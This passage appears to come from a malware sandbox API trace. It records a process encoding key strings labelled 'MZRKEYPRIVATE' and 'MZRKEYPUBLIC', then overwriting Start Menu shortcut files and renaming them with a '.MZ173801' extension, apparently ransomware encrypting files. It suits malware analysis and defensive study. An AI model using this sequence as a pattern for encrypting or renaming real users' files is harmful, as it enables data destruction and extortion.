lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.892] GetCurrentThreadId () returned 0xab4 [0213.892] GetCurrentThreadId () returned 0xab4 [0213.892] GetCurrentThreadId () returned 0xab4 [0213.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.893] GetCurrentThreadId () returned 0xab4 [0213.893] GetCurrentThreadId () returned 0xab4 [0213.893] GetCurrentThreadId () returned 0xab4 [0213.893] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.893] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.893] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.893] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x462 [0213.893] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.893] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x462, lpOverlapped=0x0) returned 1 [0213.909] CloseHandle (hObject=0x330) returned 1 [0213.909] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.910] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x462, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x462, lpOverlapped=0x0) returned 1 [0213.911] CloseHandle (hObject=0x330) returned 1 [0213.911] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk.mz173801")) returned 1 [0213.912] GetCurrentThreadId () returned 0xab4 [0213.912] GetCurrentThreadId () returned 0xab4 [0213.912] GetCurrentThreadId () returned 0xab4 [0213.912] GetCurrentThreadId () returned 0xab4 [0213.912] GetCurrentThreadId () returned 0xab4 [0213.912] GetCurrentThreadId () returned 0xab4 [0213.912] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f116ee, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x32f116ee, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32f116ee, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0213.912] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.912] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.912] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f116ee, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x32f116ee, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32f116ee, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1 [0213.912] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk")) returned 0x20 [0213.913] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk", dwFileAttributes=0x80) returned 1 [0213.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 